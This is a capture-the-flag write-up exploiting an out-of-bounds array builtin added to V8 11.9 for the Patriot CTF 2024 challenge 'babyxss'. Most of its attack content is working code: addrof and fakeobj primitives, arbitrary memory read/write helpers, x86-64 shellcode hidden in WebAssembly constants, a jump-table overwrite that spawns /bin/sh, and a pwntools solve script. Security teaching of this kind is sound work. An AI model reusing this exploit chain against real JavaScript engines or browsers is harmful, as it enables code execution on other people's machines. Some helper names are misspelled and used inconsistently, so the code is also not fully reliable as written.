V8 Exploit - Patriot CTF 2024 babyxss
- Published on
Vulnerability
The challenge manully introduced a vulnerability that allows us to achieve a out-of-bound read/write of an array.
+transitioning javascript builtin ArrayPrototypeOob(js-implicit context: NativeContext, receiver: JSAny)(length: JSAny): JSAny {
+
+ try {
+ const array: JSArray = Cast<JSArray>(receiver) otherwise Bad;
+ array.length = Cast<Smi>(length) otherwise Bad;
+ } label Bad {
+
+ }
+ return receiver;
+}
With this vulnerability, we can read/write the memory after an array by setting its length to arbitrary long.
V8 version 11.9.99
d8> let a = [1.1]
undefined
d8> a.oob(10)
[1.1, , , , , , , , , ]
d8> a[9]
2.502521315148532e+262
d8>
Primitives: addrof and fakeobj
addrof
To get the address of arbitrary object, e.g., test_obj
, we first create an array of float, i.e., fl_arr
, for address leaking and then create an array of object, i.e., obj_arr
. Since the obj_arr
is created after the fl_arr
, it will be placed at the higher adjacent address space of fl_arr
. In this case, we can leak its pointer through the out-of-bound index access of fl_arr
array.
var fl_arr = [1.1];
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
fl_arr.oob(100);
let test_obj = {"A":2};
obj_arr[0] = test_obj;
%DebugPrint(obj_arr);
%DebugPrint(fl_arr);
%SystemBreak();
gef➤ x/64xw 0x1ca700045df5-1
0x1ca700045df4: 0x00000925 0x00000002 0x9999999a <-- fl_arr[0] 0x3ff19999
0x1ca700045e04 <-- fl_arr: 0x0018d429 0x00000219 0x00045df5 0x000000c8
0x1ca700045e14: 0x00194c41 0x00000219 0x00000219 0x00000002
0x1ca700045e24: 0x00000129 0x00010001 0x00000000 0x00000279
0x1ca700045e34: 0x00002895 0x00000084 0x00000002 0x00000089
0x1ca700045e44: 0x00000002 0x00045e5d 0x0018d4a9 0x00000219
0x1ca700045e54: 0x00045e41 <-- test_obj 0x00000002 0x00194c41 0x00000219
0x1ca700045e64: 0x00000219 0x00000004 0x00000335 0x00045df5
0x1ca700045e74: 0x000000c8 0x00000515 0x00000002 0x00045df5
0x1ca700045e84: 0x00000000 0x00000515 0x00000002 0x000000c8
0x1ca700045e94: 0x00000000 0x00000515 0x00000002 0x00000000
0x1ca700045ea4: 0x000000c8 0x00000515 0x00000002 0x00045df5
0x1ca700045eb4: 0x000000c8 0x00000515 0x00000002 0x000000c8
0x1ca700045ec4: 0x00000000 0x0000058d 0x00000003 0x00000002
0x1ca700045ed4: 0x00003863 0x0000058d 0x00000003 0x00000004
0x1ca700045ee4: 0x38637830 0x00000000 0x00000000 0x00000000
0x1ca700045ef4: 0x00000000 0x00000000 0x00000000 0x00000000
From the memory layout, we can tell that the ptr of test_obj
has been placed at fl_arr[9]
. Therefore, we can create the following addrof
function.
var fl_arr = [1.1];
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
fl_arr.oob(100);
function addrof(obj) {
obj_arr[0] = obj;
let addr = ftoi(fl_arr[9]) >> 32n;
obj_arr[0] = temp_obj;
return addr;
}
fakeobj
To fake an object reference of arbitrary address, we can use the out of bound write to overwrite the ptr of obj_arr[0]
to that address and return the reference back.
function fakeobj(addr) {
const tmp = ftoi(fl_arr[9]) & 0xffffffffn;
fl_arr[9] = itof(tmp + (addr << 32n));
return obj_arr[0];
}
Arbitrary Read & Write Primitives
After we achieving the addrof
and fakeobj
, we can use the same techniques used before to achieve the arbitrary address read and write primitives.
function arbitray_addr_read(addr) {
arr_float[0] = map_arr_float;
arr_float[1] = itof(0x0000000200000000n + addr - 0x8n);
const fake = fakeobj(addrof(arr_float) - 0x10n);
return ftoi(fake[0]);
}
function arbitray_addr_write(addr, val) {
arr_float[0] = map_arr_float;
arr_float[1] = itof(0x0000000200000000n + addr - 0x8n);
const fake = fakeobj(addrof(arr_float) - 0x10n);
fake[0] = val;
}
We can use the following functions to check the functionality of our primitives.
function arbitrary_addr_read_check(){
let arr_float_test = [1.1, 2.2]; // 0x3ff199999999999a, 0x400199999999999a
let test_addr = addrof(arr_float_test);
let val_1 = arbitray_addr_read(test_addr-0x10n); // should equal to 0x3ff199999999999a
let val_2 = arbitray_addr_read(test_addr-0x8n); // should equal to 0x400199999999999a
console.log("[+] Read value1:" + hex(val_1));
console.log("[+] Read value2:" + hex(val_2));
if (val_1 === 0x3ff199999999999an && val_2 === 0x400199999999999an){
console.log("[+] Arbitrary address read success!");
}
}
function arbitrary_addr_write_check(){
let arr_float_test = [1.1, 2.2]; // change 1.1 to 3.3, 2.2 to 4.4
let test_addr = addrof(arr_float_test);
arbitray_addr_write(test_addr-0x10n, 3.3);
arbitray_addr_write(test_addr-0x8n, 4.4);
let val_1 = arbitray_addr_read(test_addr-0x10n); // should equal to 0x400a666666666666
let val_2 = arbitray_addr_read(test_addr-0x8n); // should equal to 0x401199999999999a
console.log("[+] Read value1:" + hex(val_1));
console.log("[+] Read value2:" + hex(val_2));
if (val_1 === 0x400a666666666666n && val_2 === 0x401199999999999an){
console.log("[+] Arbitrary address write success!");
}
}
Get Shell
Techniques like copying shellcode to the start address of the RWX page (as described in this writeup) no longer work in this version of V8. The key reason is that the backing_store_pointer
of an ArrayBuffer
only stores the lower 32 bits of the pointer due to V8's pointer compression. The higher 32 bits are retrieved from the heap object, as all JavaScript values are stored within the same segment. This limitation prevents us from accessing addresses outside of the V8 heap, such as the RWX page.
However, the starting address of RWX page still serves a jump table which will be jumped to when we call a WebAssembly exposed function. To avoid writing the shellcode to that address, we instead first write the shellcode in the JITed WebAssembly code directly and overwrite the jump table pointer to the start of the shellcode. This time, we are not writing to the RWX page directly but overwrite the jump table pointer stored in the V8 heap.
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 3, 2, 0, 0, 5, 3, 1, 0, 1,
7, 19, 2, 7, 116, 114, 105, 103, 103, 101, 114, 0, 0, 5, 115, 104, 101, 108,
108, 0, 1, 10, 99, 2, 3, 0, 1, 11, 93, 0, 65, 0, 66, 212, 188, 197, 249, 143,
146, 228, 245, 16, 55, 3, 0, 65, 8, 66, 186, 161, 128, 128, 128, 128, 228,
245, 6, 55, 3, 0, 65, 16, 66, 177, 128, 191, 168, 128, 146, 228, 245, 6, 55,
3, 0, 65, 24, 66, 184, 247, 128, 128, 128, 128, 228, 245, 6, 55, 3, 0, 65, 32,
66, 212, 190, 197, 177, 159, 198, 244, 245, 6, 55, 3, 0, 65, 40, 66, 143, 138,
172, 247, 143, 146, 164, 200, 144, 127, 55, 3, 0, 11,
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var shell = wasm_instance.exports.shell;
var trigger = wasm_instance.exports.trigger;
var rwx_page_addr = arbitrary_addr_read(addrof(wasm_instance)+0x50n);
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
%DebugPrint(wasm_instance);
The output:
[+] RWX Wasm page addr: 0x1a032f8f6000
DebugPrint: 0x22b000195925: [WasmInstanceObject] in OldSpace
- map: 0x22b00018f819 <Map[224](HOLEY_ELEMENTS)> [FastProperties]
...
- jump_table_start: 0x1a032f8f6000
- data_segment_starts: 0x22b000000f59 <ByteArray[0]>
- data_segment_sizes: 0x22b000000f59 <ByteArray[0]>
- element_segments: 0x22b000000219 <FixedArray[0]>
- hook_on_function_call_address: 0x5a98b3665989
- tiering_budget_array: 0x5a98b36a6a50
- memory_bases_and_sizes: 0x22b0000471dd <ByteArray[16]>
- break_on_entry: 0
- properties: 0x22b000000219 <FixedArray[0]>
- All own properties (excluding elements): {}
gef➤ x/64xw 0x22b000195925-1 + 0x50 <-- wasm_instance address + 0x50
0x22b000195974: 0x2f8f6000 0x00001a03 <-- RWX Page 0xb36461f0 0x00005a98
0x22b000195984: 0xb36461e8 0x00005a98 0xb3646208 0x00005a98
0x22b000195994: 0xb3646200 0x00005a98 0xb3646130 0x00005a98
0x22b0001959a4: 0xb3665989 0x00005a98 0xb36a6a50 0x00005a98
0x22b0001959b4: 0x000471dd 0x00000f59 0x00000f59 0x00000219
0x22b0001959c4: 0x00047111 0x000472a1 0x00182291 0x000471d1
0x22b0001959d4: 0x00000251 0x00000251 0x00000251 0x00000219
0x22b0001959e4: 0x00000219 0x00000251 0x000471c1 0x00047295
0x22b0001959f4: 0x00000219 0x00000219 0x00000200 0x00000251
0x22b000195a04: 0x0018fa75 0x00000219 0x00000219 0x0004720d
0x22b000195a14: 0xfffffffe 0x00000000 0x0004727d 0x00000061
0x22b000195a24: 0x28021010 0x0d00080e 0x084007ff 0x0018a659
0x22b000195a34: 0x0018a585 0x0004724d 0x00000229 0x00000add
0x22b000195a44: 0x00000000 0x00001f35 0x00040440 0xffffffff
0x22b000195a54: 0x00000251 0x00000006 0x00000251 0x00000251
0x22b000195a64: 0x00000251 0x00000061 0x4e000006 0x0d00010f
gef➤
Shellcode (credited to @unvariant)
The raw shellcode:
bits 64
default rel
push rsp
pop rsi
xor edi, edi
nop
nop
db 0xeb, 0x18-8
mov edx, 16
nop
db 0xeb, 0x0e-8
xor eax, eax
syscall
nop
nop
db 0xeb, 0x0e-8
mov eax, dword 0x3b
nop
db 0xeb, 0x0e-8
push rsp
pop rdi
xor esi, esi
xor edx, edx
db 0xeb, 0x0e-8
syscall
db 0xeb, 0xfe
nop
nop
nop
nop
The WebAssemly code to store the above shellcode to the memory:
(module
(memory 1)
(func (export "trigger")
nop
)
(func (export "shell")
i32.const 0
i64.const 0x10eb9090ff315e54
i64.store
i32.const 8
i64.const 0x6eb9000000010ba
i64.store
i32.const 16
i64.const 0x6eb9090050fc031
i64.store
i32.const 24
i64.const 0x6eb900000003bb8
i64.store
i32.const 32
i64.const 0x6ebd231f6315f54
i64.store
i32.const 40
i64.const 0x90909090feeb050f
i64.store
)
)
The full exploitation:
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 3, 2, 0, 0, 5, 3, 1, 0, 1,
7, 19, 2, 7, 116, 114, 105, 103, 103, 101, 114, 0, 0, 5, 115, 104, 101, 108,
108, 0, 1, 10, 99, 2, 3, 0, 1, 11, 93, 0, 65, 0, 66, 212, 188, 197, 249, 143,
146, 228, 245, 16, 55, 3, 0, 65, 8, 66, 186, 161, 128, 128, 128, 128, 228,
245, 6, 55, 3, 0, 65, 16, 66, 177, 128, 191, 168, 128, 146, 228, 245, 6, 55,
3, 0, 65, 24, 66, 184, 247, 128, 128, 128, 128, 228, 245, 6, 55, 3, 0, 65, 32,
66, 212, 190, 197, 177, 159, 198, 244, 245, 6, 55, 3, 0, 65, 40, 66, 143, 138,
172, 247, 143, 146, 164, 200, 144, 127, 55, 3, 0, 11,
]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var shell = wasm_instance.exports.shell;
var trigger = wasm_instance.exports.trigger;
/* Trigger jit compiler */
shell();
/* Get address of rwx page, and overwrite it with the offset to our smuggled shellcode */
var rwx_page_addr = arbitray_addr_read(addrof(wasm_instance)+0x50n);
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
arbitray_addr_write(addrof(wasm_instance)+0x50n, itof(rwx_page_addr + 0x75dn));
/* Shellcode from @unvariant reads from stdin the command, therefore solve.py sends /bin/sh\x00
* NOTE: read does not appear to block, send /bin/sh\x00 BEFORE it reads (aka when console.log is executed) */
console.log("SEND");
trigger();
// solve.py
from pwn import *
sh = process(['../challenge/d8', './test.js'])
sh.sendlineafter(b"SEND", b'/bin/sh\x00')
sh.interactive()